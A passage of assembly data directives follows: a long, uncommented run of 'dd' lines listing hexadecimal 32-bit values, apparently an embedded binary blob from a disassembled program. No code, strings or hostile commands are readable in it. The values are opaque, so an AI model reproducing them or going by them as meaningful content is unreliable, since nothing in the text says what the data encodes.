74B65321h, 0C1970196h dd 0BBECA92Ah, 7E74DCB9h, 8404E62Ch, 0E7D55C80h, 0F8B07F6Fh dd 3F820066h, 32E0941Ch, 1E3BF60Ah, 6F5D8254h, 8041E22Bh dd 5CB459B0h, 2E0C2CFFh, 0C7800E85h, 0F27CED20h, 9800E218h dd 5E1DDDDEh, 28D324ABh, 986001h, 0D1454292h, 47632FB4h dd 27300400h, 25549505h, 0C050EF4Ch, 0E6BE9B0Eh, 99180080h dd 0F9A8B244h, 1009E483h, 809C036Ch, 0A57B1731h, 2C8A00C4h dd 717F33AEh, 0B901B343h, 87F0CF32h, 0F1E4C60Eh, 0C2993EACh dd 869DDE8Fh, 0A8107020h, 0D107463Eh, 0ACC14B77h, 202B6A00h dd 421A0040h, 7E6633CEh, 6C03A138h, 50BC301Bh, 6F6D803Fh dd 94A8C52Fh, 70FBE24h, 5CF760C4h, 2210F6h, 0EB485B34h dd 0DE75C609h, 3DE93B00h, 2A86371Dh, 0BCEC072Bh, 5DCCA16h dd 89D6011Ch, 0CCF9F8D6h, 0E3000154h, 8B636956h, 7FAC78h dd 9A04E8DFh, 9EB07D97h, 0AEDED300h, 0B227F808h, 0CF6507E0h dd 0EB5105h, 4A52F3C3h, 0F1E9C200h, 7E2CDB78h, 0BAD5005Eh dd 8E7B120h, 2009E5Ch, 3CFC87EFh, 0FA22B4h, 0E2A1E81Bh dd 0D04D86A3h, 80D12B38h, 0B0CAC9B8h, 7D942D96h, 750700EDh dd 0E029DF7Ah, 5F3A106Ch, 0B7C687E2h, 0F0E01D5Dh, 1B5A5h dd 4D618CD3h, 0E0727325h, 7AEE3F00h, 8A05885Fh, 80F600D0h dd 0F950E419h, 0FCEA4D6Dh, 8032D43Fh, 38AAC0CDh, 1F6771B4h dd 0C026748Ah, 9E7E5190h, 4F0F8E7Ch, 0AE60FD44h, 91C5208Ch dd 95311h, 0E27B7134h, 0BA433365h, 7510D200h, 1BFFAEE4h dd 1DF77CD3h, 407FD6DEh, 0FEB8E67Ah, 0AE008A48h, 9493DAEBh dd 0E1C35A5h, 8519A924h, 0E4DDCDC0h, 0BB7F6C4Fh, 58B8D43Ah dd 19540096h, 7B4456F5h, 0E88F0033h, 91F065FCh, 9F016885h dd 792628F8h, 23CC49B5h, 14E83Eh, 0A8AE1ACAh, 21DDF861h dd 0D90068F0h, 64D65FDh, 310C577h, 2C26EFE1h, 0A0A0521Eh dd 0C1FD1C0h, 123939B8h, 1400DA9Fh, 0E0365E22h, 330B00C2h dd 0C0F3E160h, 0C63EEE4Ch, 2BD7001Bh, 4F1E2328h, 0D2D40032h dd 98B32672h, 0AE007B03h, 6940C9Dh, 0A9274Bh, 0FDDE0273h dd 0EC185980h, 9E0D5600h, 27CB3315h, 73D10025h, 4DB32A51h dd 3A2994A4h, 803F1456h, 9AC31FE6h, 8F4D47h, 0FE90F927h dd 219857Ah, 0E0CBD800h, 1E7DF08Ah, 0DDE77583h, 20374010h dd 0DF9A4F53h, 0B8770100h, 0C35F8642h, 13D6F23Fh, 0E97AB5h dd 2790D9FFh, 0F40074E1h, 18A4D262h, 16850E0h, 0A03A6EB8h dd 0BCAD8DFCh, 6F87D58h, 0EA636B00h, 81D3FFC6h, 40672E34h dd 6A420072h, 0B806F4F7h, 0B2497B0Fh, 0D42D60C1h, 2E60B5h dd 6AD9F16Ch, 197E34ECh, 0E9885E00h, 836F7431h, 45F70017h dd 0B04EAB01h, 4F073FD2h, 0CA316590h, 0CCEFE630h, 8C090010h dd 0CFD23698h, 6DEE702Ch, 0E9A32900h, 3363A5DAh, 2E4700EFh dd 65BA212Fh, 0A200704Bh, 4D5EABC6h, 0F4844EEh, 18CAF6BEh dd 80583A0h, 3D00598Eh, 0B0FF3A1Fh, 7C036DE2h, 39EA49h dd 0A9922284h, 0B8761207h, 0DF1F5101h, 0BBC8B3B6h, 2856BCDCh dd 9099DAh, 3F6526E2h, 0E707A13Bh, 0CC60A40Fh, 0C3C2A034h dd 0B58BE1h, 2A14CEFEh, 28F20394h, 29CAC601h, 650A55Ch dd 266DF07Ah, 748E1A00h, 4BE4DC60h, 0B5B8006Fh, 7D9431B2h dd 4916CA9Fh, 0E11491D0h, 56780074h, 772205DEh, 0A3730389h dd 199A3320h, 7108CBB0h, 91AB9F02h, 6804ED67h, 35F7034h dd 4110541Ch, 78A87990h, 0EC04DE71h, 599E680Dh, 537E98C0h dd 0A6F420h, 88F3BE4Bh, 3E60D5E5h, 55760501h, 89112574h dd 1EFDFD4h, 56599675h, 70B59C3Dh, 0A001F84Ch, 0FCDCED12h dd 0D2FC72FFh, 31EF0F9h, 0B8043A6Dh, 43C0615Bh, 10C0359Eh dd 95AD3602h, 0FBF91FEFh, 1EFA01E7h, 0E42292DCh, 0D101DF5Fh dd 0A694FDE4h, 8041F2BDh dd 1C325637h, 1A2E6D00h, 691845FFh, 41888F00h, 2A21A2E0h dd 0AD93007Eh, 2949C51Fh, 0D6007006h, 71634210h, 0D29184h dd 0A60D7245h, 0D4E2BAF4h, 79B3DE01h, 9DCD0485h, 16EF09C4h dd 149BD543h, 781E7415h, 424D4023h, 861DD37Dh, 621B4600h dd 0A1B4A681h, 6982072Fh, 763203EBh, 6C1ED894h, 8A00494Bh dd 0CFAC5FF4h, 0FBC73C9Ah, 61C88580h, 0D55D6A18h, 4E80F300h dd 1CD26E65h, 0D03C0038h, 159BE8B9h, 6B0B91B8h, 0FEEBF6h dd 7AAFC654h, 0B59E072Ah, 0E308E658h, 0D0E888B7h, 957C5307h dd 5198BE00h, 475AFDB1h, 0E3F303FAh, 3396DDCCh, 41C83CD8h dd 13F89500h, 0E54D0853h, 0F66F007Eh, 78470CA8h, 4C3B2920h dd 2D0648D5h, 8BA14030h, 85A1001Fh, 23ECEACCh, 6B1C4310h dd 516C2276h, 800401Ch, 46BE999Ch, 56A30007h, 52446F7Fh dd 0F10070E2h, 5837D5B4h, 58FBC3BBh, 0D0090ABh, 3BDD844Dh dd 0B50007C6h, 6288B0A6h, 671C8Eh, 7822A430h, 596B898Fh dd 0A16AD800h, 359BF997h, 101200EBh, 589809A4h, 0F400C3CEh dd 3D3051Eh, 3AA2880Eh, 908F9201h, 0AF206D68h, 0A35E3E18h dd 4472A100h, 93DE913Dh, 28F70070h, 2A56DAE0h, 1A3853ADh dd 0CA28563h, 0C7C0E958h, 58E05A22h, 0F30063CFh, 1FB4E72Fh dd 405C2C25h, 8AF1001Fh, 6A63EE90h, 0B9CE0270h, 353003B8h dd 300799C2h, 45E29072h, 0CF005B5Ah, 65B73A8Ch, 312F0757h dd 0B21094A5h, 0D1F410BDh, 0DD770EBFh, 0CE203761h, 0A7871486h dd 0CCEC4000h, 12ABBE24h, 63D5012Dh, 0C9927798h, 0AE5881A5h dd 2F5A96E2h, 0AD487884h, 1078C6EAh, 5BD27712h, 285F1600h dd 184593F4h, 216F22ADh, 5B0F64DDh, 0F81A5569h, 163D40h dd 2F38BE37h, 963C18CDh, 0D6D73600h, 0EE7F448Fh, 0C8290062h dd 0DB71F5F1h, 3A1659A0h, 25008761h, 20F20BA3h, 0AEEE0054h dd 89AB6D13h, 88009B2Fh, 94FAE576h, 849817h, 53546649h dd 0ADA4B33Dh, 96FC6500h, 2BE05926h, 0D8B80FCBh, 0BD3FCDA9h dd 0B4E8A480h, 90CC928Ah, 4A03B173h, 4566E241h, 3050CFD0h dd 397AFCADh, 0ED80EC29h, 679C4C7Dh, 35007078h, 0C3ED108h dd 0F9B8263h, 5A471584h, 0E32C6C0h, 330A89E7h, 0C00539A1h dd 0C7995B80h, 0F0F1D3F0h, 0F7110F3Fh, 0C1813404h, 0F3BA252Bh dd 0D34DB4D0h, 72201B7Ch, 0F9410681h, 21D4D183h, 20D6C520h dd 241C3DDEh, 0DA988407h, 737F7A11h, 225D177Bh, 9AA00756h dd 672435Bh, 20992000h, 8617577Bh, 30B832h, 0D78423C3h dd 5BFF96F1h, 6B88FE3Ah, 37BE0050h, 746A355Ah, 0A2AE1E8Ch dd 0EC7A1593h, 61707Bh, 1DA5A697h, 0D6C4CB3Eh, 5D693C00h dd 0A9B6FA62h, 322118C0h, 1980A1FDh, 0A4B1B003h, 9FBB3A7Ch dd 0A873FBF7h, 0E62000DBh, 2E16B738h, 0FFF00CC0h, 0B8B660E9h dd 84F6C824h, 0FD8CB83h, 74D9F81Dh, 0AC4300A4h, 7D196EC9h dd 150C8E76h, 80730B3Bh, 7220E97h, 0F00A2128h, 0C64507B8h dd 9E0B405Dh, 500E8F89h, 0C9B5E4h, 0A56F3B2Ch, 709E27Bh dd 75B45D42h, 0BE0DC0AEh, 2AB81A5Ch, 953E5E00h, 9F684C64h dd 2A780097h, 0AEC0315Bh, 6D75AD34h, 29F24B00h, 573E9960h dd 36A200AAh, 4AD76A40h, 900A1B04h, 4D96DF0h, 0FCE808DCh dd 0F4D91B03h, 7A246887h, 0FA3FC0F9h, 0AA60B340h, 21920209h dd 74F0E64Ah, 1CEA502Ch, 0A430CE8Ah, 2F0E052Fh, 7D202AFFh dd 8ED100BBh, 0B2C1367h, 34332D89h, 651D98DAh, 0A3D5009h dd 9B4CFE18h, 78A66923h, 83190462h, 121C86A2h, 0AC10C789h dd 0C850CAA3h, 6054BE10h, 8F1516Ah, 5040418h, 21940523h dd 0B6440DCAh, 946CFC9h, 7CEA0328h, 2AE8DA36h, 500C2208h dd 0A94514A7h, 8091684Ch, 5029DE22h, 0DD3ACA60h, 0E9971CC4h dd 18F8C748h, 80703ABEh, 0D2AC0D61h, 0C31AFFC1h, 170866D9h dd 7D0421FCh, 131EF761h, 13B1086h, 803919DAh, 82D7026Fh dd 0E05968F7h, 281975B9h, 0F2201A6Bh, 4F900E9Eh, 3F66346Fh dd 491918FFh, 3739BBE6h, 27D85186h, 301838EFh, 2C498C99h dd 0FE4F3C85h, 78C8E680h, 0F0D9633Fh, 0E901049h, 0A6A95579h dd 10050Dh, 88BA91A7h, 75FC1583h, 69B19B30h, 0C0E64FA8h dd 0AB97349h, 3F001E22h, 0C1795F0Eh, 37A9B05h, 0A38D04F6h dd 34F80A19h, 1B0CA170h, 0A9110B31h, 3A9FB859h, 13185A2Eh dd 4F1208F2h, 0C1AFD936h, 4F33348h, 39A0F208h, 1000D2Ah dd 0A83AEA6Eh, 0F4EC67h, 0B53CB229h, 0E1A5D73Fh, 2F40F48h dd 0D08C1F64h, 7A97C020h, 0FCD9C0D1h, 0D2412274h, 0A38C4E50h dd 0E9CE16EEh, 0DA0440DEh, 2A3D73DCh, 3D0C595h, 167FAED1h dd 7089A9C6h, 850DF0D0h, 203DFB06h, 3C29DE95h, 9A8C7ADFh dd 92C1ED97h, 0A204F507h, 0D24488FBh, 0E7A7F487h, 0D1C04A40h dd 0B730CDEEh, 1FE18EF1h, 12F08038h, 0FF2CD64h, 486FD2ABh dd 0A6DA1B00h, 0AC24C7A9h, 7814046Ah, 2C702410h, 93E63105h dd 0A8BF500Ah, 6604AC20h, 19FED94Ch, 7146F880h, 4860018h dd 0A0C7E711h, 50C96590h, 312C2533h, 0E10A876h, 0F419F33Dh dd 4A6FA101h, 3849F287h, 8F8057C8h, 405EC761h, 10B84AE9h dd 81C83B7Ah, 74E61181h, 0EBD073D9h, 4CCD005Ah, 0B9C7772Ch dd 0FE00DC0Eh, 171E03C6h, 3AFB71F4h, 0F9A80B39h, 879A0398h dd 0A1C025ECh, 0F8473DC1h, 7F3BEE12h, 9F781C6h, 2C9EF656h dd 0FBECE2E1h, 0B1C8D4DDh, 0D6F0F830h, 0ED04F65Ah, 0E679616Bh dd 0D9605091h, 98ADB801h, 67C8F972h, 954F1329h, 70C445F8h dd 32B849AFh, 67836821h, 4636D0E5h, 40DC7649h, 0DC4828D8h dd 0C629749Bh, 4E428CCBh, 80250033h, 0DC8188BEh, 0F7120C32h dd 1CD05449h, 9AE8D031h, 304EE262h, 0AC1FE424h, 0A1052CA8h dd 0D9BD87EEh, 5124C08h, 0CF92E4Fh, 0C1F1F860h, 0A83688h dd 0DF9AFA22h, 0C437E1ECh, 0CCAC682Eh, 1064651Dh, 90D97B18h dd 0D01D3E7Fh, 0B1E66689h, 88FDD811h, 83FFA929h, 0E26B2857h dd 0DB05117Fh, 65FBA11Ah, 0F58AC10h, 99C1F24Dh, 6618BD90h dd 10778614h, 19BE00F0h, 0B0B6C1F1h, 80296057h, 107006FAh dd 9337E600h, 0A06B3C95h, 6CC558FBh, 0AEF1E801h, 71301127h dd 3206F18Fh, 523A7478h, 0D838D1A9h, 2014071Eh, 0C8B05B9Ah dd 39249BF3h, 3B5C8848h, 65FCD487h, 0F120A200h, 58F51FD9h dd 714503DCh, 341D86F6h, 0F25D33D8h, 462A3890h, 50328431h dd 22E310B1h, 70E00E68h, 0F62A0D73h, 451CA8ACh, 0F905F059h dd 984168A2h, 7B1DDCE6h, 61881088h, 6378FE20h, 48AA4726h dd 0C8505411h, 0F9CF87Eh, 0A11D8FB5h, 50ABE907h, 0D8980AB6h dd 0C82C902Ah, 6D98C654h, 0A04B8F00h, 0BC1C3924h, 0E28301A8h dd 670CF956h, 8002464h, 86406E00h, 0C5A01C97h, 0B1A53A6Fh dd 0BBD1AA30h, 0F8F74057h, 27008078h, 0CBEFFE8Dh, 5065BE8h dd 0BB3ED15Eh, 9F708365h, 9B1E78D0h, 0C80E205h, 4090DA28h dd 31EB0E1Fh, 4D5C371Ah, 580DD898h, 0AE201407h, 207CB652h dd 2915F2DAh, 0E2206BF4h, 6B303ABAh, 0F08915F9h, 1C1CEC2Eh dd 0A7718767h, 0CF7BA190h, 0FB0896C0h, 0E3CAC040h, 4DD41Ah dd 0C3A0227Ah, 3AE9E4B0h, 0B8A1012Ah, 0B949FB01h, 5E64A8Bh dd 70B65CC0h, 21C06F04h, 66EEEAC0h, 0B7007313h, 9380A02Ah dd 0A6F094CAh, 0A2E401F0h, 0F80DCD3Dh, 7A3981EFh, 3439BC77h dd 901476E8h, 58F8D894h, 9F00ED90h, 0B5DC73E4h, 0E77FB8h dd 2BCAB035h, 0A11E66DBh dd 3C9AA6FEh, 0F0863D2Eh, 4C6CA241h, 0B7F08050h, 2DC11427h dd 3448D4E0h, 2EED9310h, 36403864h, 32B3DEh, 0EC7DC46Ch dd 0C379E165h, 1F01B698h, 7AB0FB78h, 0D0A8CA03h, 3C37429Ch dd 93C5082h, 7CF02E45h, 0B8D738F1h, 0D2811067h, 0E8518BA7h dd 0D82E5C24h, 1DE13186h, 9DE90AF9h, 40848478h, 633556B0h dd 0C5B51407h, 0C9B077CCh, 1336B1A2h, 73A1249h, 806A9AB4h dd 67DD2099h, 0F97946F0h, 641C0493h, 78A74884h, 0A5948865h dd 721C9C03h, 0F8FA3197h, 58C8794Ch, 0EB01C43Ch, 6AB97E67h dd 48E85021h, 1C2E443Dh, 0CF58F84Eh, 0C4C082DFh, 2860D15Dh dd 0D14A321h, 0D1795824h, 8E9E680Ch, 88A8D108h, 0D0069D2h dd 8F4C02EAh, 4418431h, 420F9FC9h, 0FA58908Bh, 8300D4BAh dd 0B1BB98FFh, 0C116ECh, 1971A25h, 3484C30Eh, 0A962A135h dd 5FEC30C0h, 4473263Bh, 27C1E24h, 670E2978h, 7500E064h dd 0BB8A7362h, 7ED485h, 42C8C1E1h, 153C0A80h, 381A310Fh dd 0D56964DEh, 80A4B483h, 2CF95527h, 4020419Eh, 70405008h dd 0B58C9713h, 60002034h, 4D403AC9h, 4E832AB6h, 0F9D0008Ch dd 5633B84Ch, 0BD00E307h, 0C0D49AAAh, 0C9CF82h, 4A39E05Ch dd 461128E8h, 0C27AF091h, 35F098F9h, 2D6B0198h, 73F8C66Ah dd 5C46A156h, 77406D01h, 0D187497h, 3F5A90A8h, 1DA34000h dd 1808DFD5h, 21C30070h, 6A7959FAh, 0EF026EBAh, 1D2AA882h dd 0E5B049AEh, 1DE02436h, 2200E535h, 0D3D2DC17h, 0E71A8B7h dd 102DEF88h, 0B41214C0h, 0D6747595h, 6DB338h, 6FD1F058h dd 33719CDEh, 62080E59h, 469A2102h, 0E035D3C5h, 0CABFACEh dd 0DF87CBA0h, 0C0001920h, 643A7D11h, 35E03BEh, 9A888684h dd 40064144h, 0DCA84220h, 13D40309h, 0D7E3F608h, 84016106h dd 65182AEh, 0C80605EBh, 6D0F1186h, 66D23C1Ah, 51AC8Fh dd 754BF67Ch, 71946688h, 0DB78AB00h, 7BA2458Eh, 95051C23h dd 46DFC006h, 0B06EA004h, 40915D18h, 17E9441h, 0FC2D86BEh dd 8C35F21Fh, 20B69709h, 0BBB874h, 0F17631AAh, 71D3AE0Dh dd 0E642C000h, 16CBE7C2h, 12F7003Dh, 0C1D770A6h, 20016CADh dd 90685DB4h, 48BC85CCh, 19D89300h, 4B30FB7Dh, 9E64133h dd 7321008Eh, 0AF386058h, 2AEC2C17h, 0CA008498h, 7DDF65E0h dd 3A1BE50h, 0F7DCB1F5h, 0D5B06B34h, 9932DBC1h, 308B71DFh dd 580819C9h, 5852C8FEh, 1F486170h, 0F54600A4h, 737B0DD0h dd 0CB631EBFh, 98C88ADEh, 2080BEBCh, 0DBEB4897h, 3513FA0h dd 0DE1FD0FCh, 768A4380h, 83221E97h, 3E1D40D3h, 4281CA23h dd 0DE00E02h, 0A0A93510h, 599D338Ch, 0B04130h, 4176F7C8h dd 0B1440284h, 1C2C2D84h, 2182BD19h, 0B7B17662h, 679F90C0h dd 0F1616A00h, 7C1B0229h, 52491D9h, 226807EEh, 0F6308AC4h dd 0FBDF0819h, 0B1645060h, 1F764540h, 1D0FAA61h, 0EC91ED57h dd 3C8959EFh, 0F1304DDCh, 14442811h, 38DDD90Fh, 7DD2A05Bh dd 0A48F6842h, 19CD0538h, 61E8FE54h, 10B8FCh, 1904FCh dd 255DF1C4h, 0BD30EE0Fh, 0FB034273h, 0FC74A3F2h, 0D871532Eh dd 0FC30CFA2h, 60403B51h, 7FE7AE8Ah, 36D75898h, 90183F44h dd 3A99032Ch, 317E0247h, 0F70135A8h, 0E8500600h, 0EB457C19h dd 908B0B36h, 0B20098A2h, 89DA313h, 0FF8E3Ch, 0A432BC3Dh dd 7FF9EF52h, 0CF60085h, 862B9250h, 6B0084A9h, 0F796EE53h dd 0FC212Ch, 0E3D6E4BAh, 0FA83EFB1h, 0A6FD2B00h, 962A6E27h dd 43820095h, 0E89932ABh, 58000A79h, 0A2F39CA0h, 45AC22h dd 0B4F2EA0Eh, 91BF299Fh, 27B62E00h, 0FF8C88F5h, 0A8207AFh dd 0D0A6BE2Fh, 2368C354h, 7C7D5C1Dh, 0A7B700BFh, 0B4F81A86h dd 0B5DB0009h, 32A09750h, 0B6006C6Eh, 4D8024F2h, 666762h dd 0F0E308D7h, 0FD7C7060h, 41839B50h, 0BE76F300h, 0F9E49A32h dd 8D8A00CAh, 1475EFDAh, 0B800BD96h, 7D6DAF92h, 0AF79478h dd 521FA3B2h, 0BD320180h, 792E3D4h, 742723D4h, 0E8E43093h dd 0D00A0862h, 73449DB5h, 29962341h, 0E1A8D3F0h, 6E0009A6h dd 0F1FD1B2Eh, 7D4D25Ah, 0B93612A3h, 6BE2A1B0h, 57B6D8F3h dd 0AF4040DFh, 88EFDF1Ch, 23390707h, 86A07B6Ch, 2008084h dd 0C860662Ah, 500497A3h, 7C3806Eh, 9396AE7Dh, 8078E009h dd 3C263584h, 700310FDh, 0C0C5B8A0h, 0CCBBABh, 85542DA7h dd 9A73916Bh, 0BBC3Fh, 37657523h, 3D012503h, 7B0134DFh dd 69A5C8A2h, 6C3D30D2h, 0CE818405h, 3181C171h, 0A08086B1h dd 1A9DAB36h, 0D700FFEAh, 34DEED43h, 0E7B61Ch, 0BF78D255h dd 4EF173AFh, 29F44018h, 484A6E80h, 2A038350h, 2D33E934h dd 8937DBF0h, 151C126h, 82007317h, 0BE8E1E93h, 0E560B5Bh dd 54807B5Ch, 0B2B167B4h, 2393EF0Fh, 76424255h, 333A40ABh dd 0A91F0C06h, 45408253h, 98626000h, 0EC5F7720h, 0B7AD002Ch dd 38FDA4DFh, 0F8005740h, 8CA6EA75h, 0F0CF913Eh, 4932EABFh dd 29014009h, 0DECE76ECh, 72CC36D1h, 9C69748h, 9122F063h dd 441334CCh, 143C97D0h, 19F5EB00h, 5D0362F9h, 0F38F2CC8h dd 6FC48770h, 3D407012h, 0A290A20Eh, 2F9BF003h, 801E030Bh dd 0B0CB4C31h, 0FA620078h, 6626DA97h, 0DB16476Dh, 4F01F29Bh dd 0A6A1EA76h, 1DE227E4h, 40E92609h, 0EFC9EDF1h, 0B700D44Fh dd 2A68165Fh, 7C841181h, 0EEF40070h, 0C85A4AC9h, 0FD1F0122h dd 0B80941Ch, 0A2B2B0BCh, 0CBB401C0h, 0F8AE9558h, 0EF30808Eh dd 70EBB909h, 87860FA2h, 0C4808A1Eh, 0BF6361B7h, 0BE09C071h dd 68BC9h, 0F5B4FD0Ch, 70F060CCh, 2CDBFB50h, 727B460Bh dd 0E5F50043h, 1860D6BEh, 146A9541h, 7B1F6808h, 0DF0592F7h dd 203852F1h, 35B4645h, 678490C7h, 0AEE100C8h, 0EAC64943h dd 2702778Fh, 0E45F0BF8h, 5A809050h, 0B4D9C088h, 0A4F360E2h dd 247FB300h, 3F4F0E6Bh, 88411E93h, 1CA8EA2Ah, 160C8Dh dd 0D6FC808Eh, 3B00FED2h, 3E97434Eh, 3216645h, 538774C4h dd 6818F286h, 4871B770h, 79FC0028h, 3ADC5F65h, 0CD07466Ch dd 0C7945749h, 1A08FFF0h, 0D7EF18CAh, 6DA2C9DAh, 4E98D600h dd 0D5BB6C84h, 829B039Fh, 0FC5ACA61h, 0A6FBC128h, 2675EB00h dd 0BA710B48h, 0DF9218A0h, 0A3F45031h, 0A8C8F600h, 70833604h dd 0F08E002Bh, 0E27D5020h, 441F0CB3h, 22000245h, 48955576h dd 47D80030h, 666E7DC9h, 0A87C2170h, 0C652EE0Fh, 938DC16Ah dd 0BC410B3Ch, 0A083E66h, 6F1BF1DEh, 0D2DC8838h, 73B9195Ch dd 0C4F418BBh, 700AB5Eh, 267C5174h, 0B97840h, 59A61CB5h dd 1136E5E0h, 5CCF7F79h, 0FDCFBFF4h, 60C90E04h, 58955A42h dd 56A25E1h, 8A483E70h, 34FE7C04h, 3E0063ECh, 0F9826BBEh dd 1E98EADFh, 0EE8456h, 28AF5FBDh, 58F085BFh, 843A600h dd 0EAD0415Eh, 1F1106ADh, 2086F6E5h, 4600F7FEh, 83D3282Fh dd 0B197D5h, 50B3EAE1h, 0D048BE91h, 0F8EE861Ch, 39DE1BC0h dd 0C3D742D6h, 0E872E510h, 8963F088h, 6313D14Ch, 1FEFF108h dd 0C015B220h, 4357E1BEh, 29007EF4h, 5482BF3Eh, 3D667053h dd 0E412720Fh, 7FB0038Bh, 18065EF8h, 9BE17D2Ch, 4E850069h dd 413172F1h, 6EE6B181h, 0BC08A963h, 0A520007Ch, 0DD747B3Ah dd 451E3F16h, 9A0040B6h, 2D207DFFh, 1CC8C2B4h, 609037DEh dd 0A74E87Ch, 0EE227346h, 0E804C400h, 0BE816809h, 6F24066Dh dd 0B0F26461h, 0C0820F1Bh, 6D0AB0A1h, 5DCCA08Ah, 0DBDE0622h dd 785E4D20h, 2E8138h dd 9DEAA7C2h, 4A2DA2D6h, 45C2E0DFh, 5AF03300h, 28147686h dd 5E7000Ah, 0BA7A15C6h, 0A900DE0Dh, 0AAFEEA78h, 1E1310EFh dd 0CF776Ch, 6AE495FCh, 25488D35h, 0CB1D0054h, 1C204616h dd 0E6980029h, 8B5E7002h, 682CE974h, 0D3005991h, 0A515C534h dd 29061698h, 6E2800FDh, 0E8680B5Eh, 429428C8h, 0E9245AA4h dd 11560821h, 9611C0D0h, 0A4E5111Eh, 947AD811h, 1114EC79h dd 511013F6h, 802739AAh, 859CD2AFh, 7DBA401Ch, 911D03E3h dd 88DDFD18h, 0B7563AE0h, 0DA61FE07h, 4200E32Eh, 1F32BA83h dd 1D87B497h, 0CBD080F7h, 76120C85h, 0B1999E03h, 0B0A1E92Fh dd 0ADED3Bh, 933ACA83h, 37FB5613h, 7FCD9603h, 1FA649A5h dd 0C0C3C910h, 0B9FDF0Ch, 150070ADh, 5D7F3ABAh, 0BECFACh dd 4E8823CEh, 369140DBh, 154B4500h, 2C04F2C2h, 547D0001h dd 52DA5C95h, 4000C833h, 227F0B94h, 3BBB1Ch, 545DE07Ah dd 0A9C31FFh, 2DA1B100h, 0CC0160CFh, 26250917h, 6B8089B7h dd 0ECF2D9BBh, 0D1083C00h, 0B6A6354h, 5ED0077h, 85966C88h dd 9900E85Ch, 305EA829h, 0E7C55Ah, 4215F90Dh, 70187345h dd 31465Ch, 0B6D8011Eh, 38CCD8Fh, 656AD931h, 28A04244h dd 0C800051Ah, 21D87430h, 1DE9E4E6h, 0D2638h, 541E1299h dd 103CED4Fh, 6CF100C9h, 0C391F921h, 7BA51E9Fh, 2AFCC122h dd 0E71D1B90h, 8095E5F9h, 0F3696BF6h, 0E2D70C32h, 883B00C0h dd 1BEB1AA0h, 0E7003621h, 85FC0AE5h, 0E2F9704Ch, 48BB1DB4h dd 288B00B2h, 0D61DC334h, 751E4E01h, 0FD0AFEEDh, 7907CD4h dd 76152453h, 3026206Dh, 9F005ADCh, 0B9C04B80h, 6879Dh dd 85E8F83Fh, 8D1574F0h, 2F60B21Fh, 0DB3BEAC3h, 14D2884Bh dd 0C2776Eh, 44C5EE4Fh, 9A2A951Fh, 0B7C7521Fh, 32D7D803h dd 785BD0BFh, 47CA00BCh, 0DAAAFCF1h, 7201ACB9h, 73DCE439h dd 20CC0E33h, 0B75CB2h, 0FCAF2D00h, 0C94B48A0h, 500030E0h dd 3AE768CBh, 71DF7E0h, 67D7A770h, 0A50A604Ah, 6A0003C0h dd 9D10CD25h, 0F809857Dh, 54DD17BBh, 0AAB404E5h, 206580A1h dd 19004D31h, 77E13435h, 9A352BAh, 718B0472h, 0AF318000h dd 0D50C5E91h, 9E789A38h, 210F009Dh, 3BDA7EDh, 190069BFh dd 9A292A5Ah, 35B1ECh, 0EA17C2F4h, 51187DCAh, 3C001892h dd 346F8978h, 27C7E5h, 0E76176A0h, 40AD429Ah, 0E9AC2106h dd 931878Ah, 0D2FCDCEAh, 0D101BD00h, 6D70A034h, 84C93E18h dd 7F3046F8h, 56E60123h, 825AF46Ch, 0C49AF9DDh, 0E5004C21h dd 0F54BBF25h, 0F2260889h, 0E85B3DF8h, 721FA500h, 0BD1367Eh dd 797FA000h, 57203E94h, 12D200C8h, 9ACF1F49h, 0D9E5ED9Bh dd 4CA6FCC7h, 1E4D1700h, 5632B6F2h, 0D979B2h, 300C272Ch dd 0D3E198D2h, 4A93E203h, 0E0E9BA4Bh, 144E64h, 0BD70D557h dd 0C14DCD6Bh, 0F8C0448h, 23BA3Bh, 91BB423Dh, 5DFC03F0h dd 722E2A84h, 0EAF4E0C8h, 0A68D701h, 51A64BB4h, 863CC0h dd 0ED8A800Bh, 447B0455h, 0EAC89100h, 0EF3810CCh, 0C5D81FE5h dd 570A80DDh, 3F155F1Bh, 68918900h, 0E2058209h, 0A3DE0E52h dd 1F20CB21h, 7A1AC41Ch, 0DB0AD900h, 4C17A845h, 327500D2h dd 2FDAB90Eh, 92505C43h, 57003ACBh, 0B422A2BAh, 0F68B67h dd 207004EDh, 3DA0CB6Ah, 0C2003F7Fh, 6F4BB75Eh, 3746C6h dd 6D412D10h, 3D7EC8A6h, 0BB236900h, 18BF6A4h, 9BB3003Fh dd 7B4C1F7Dh, 995C38A8h, 8D300177h, 0E2914BE0h, 77C72E0h dd 0F507923Fh, 8231A077h, 0AA268D19h, 49006CFFh, 3B8EE027h dd 20686E15h, 231CFEB2h, 0D102F981h, 1CF8A61Fh, 82E0470h dd 80DFAE86h, 8218AB38h, 0E6DEC81Eh, 0B90AE3DDh, 2407E4D2h dd 0FA23B739h, 2180BFE9h, 654C6Eh, 0DABAFCFBh, 71CF7C97h dd 0E9494600h, 5BB65EEDh, 19163095h, 33C153D8h, 0DDD13000h dd 6D5EB769h, 0A14820C3h, 120E2CE2h, 200F3262h, 3D414EB0h dd 2A790072h, 0EF6DBCBFh, 0A0035825h, 9401BA85h, 623EE1CAh dd 1A45F083h, 0D9C7B27Fh, 0F5CF9C80h, 7200ECC0h, 8C63BE3Bh dd 0B0EB9DC8h, 2CB707E4h, 500E62C7h, 0D045A97Ch, 2088E0C0h dd 7309956h, 0A010A748h, 0EE8FB08Ah, 860E879Bh, 0BADC6Ch dd 0E216D3F4h, 3F587CC0h, 8D802878h, 9431F313h, 3F29742h dd 9B747318h, 0FA10519h, 25712B7Dh, 0E4F1FF20h, 0DE794583h dd 94FEE707h, 26802DAEh, 0E03E0725h, 0C73C13BCh, 939807DAh dd 2ED233EDh, 3F33BDF0h, 0DF5FE800h, 4D0D4C6h, 3BD9D66Fh dd 0E01A8800h, 5A1B2AEFh, 1A26500h, 3890CD03h, 720E942h dd 0A4B7549Fh, 3FCC3089h, 678BBE11h, 1AF0F800h, 507A6E08h dd 0CED800EBh, 9DAB3547h, 0A7009155h, 0DC07FD16h, 0E4B98228h dd 80F6B7h, 4B060826h, 0D86BC52Dh, 0FB288706h, 18254Ch dd 868148C7h, 0FCE5EEFDh, 0C349B203h, 0F8C864F1h, 4BBE34h dd 235B62ADh, 44A2E3Ah, 69386E0Fh, 0F6DFC3C8h, 0D132E89Dh dd 6155002Bh, 0ABC694AAh, 11C9088h, 19001C58h, 0D16E7D91h dd 0DA6D00F8h, 293F5EF9h, 0FB00430Fh, 12740DBEh, 1876CFFh dd 0F4446962h, 0CCBB402Ah, 9E0E95CFh, 2055D0CBh, 35AF86CDh dd 4AF92496h, 319A0013h, 134E7FC3h, 6E10B107h, 9C003B4Dh dd 294306h, 